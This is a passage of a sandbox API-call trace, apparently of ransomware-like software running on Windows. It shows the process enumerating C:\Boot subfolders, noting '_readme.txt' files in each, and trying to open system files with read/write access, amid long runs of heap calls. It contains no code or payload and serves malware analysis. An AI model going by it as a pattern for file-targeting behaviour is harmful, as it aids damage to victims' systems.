ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.768] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned=".txt" [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.768] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.769] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.769] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.769] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.769] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.772] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.773] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0066.773] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.773] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.773] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.773] PathFindFileNameW (pszPath="") returned="" [0066.773] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.774] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.774] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.774] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.774] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0066.774] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0066.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.774] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.774] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.774] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.774] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0066.775] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.775] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.775] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned=".txt" [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.775] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.775] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.775] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.775] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap 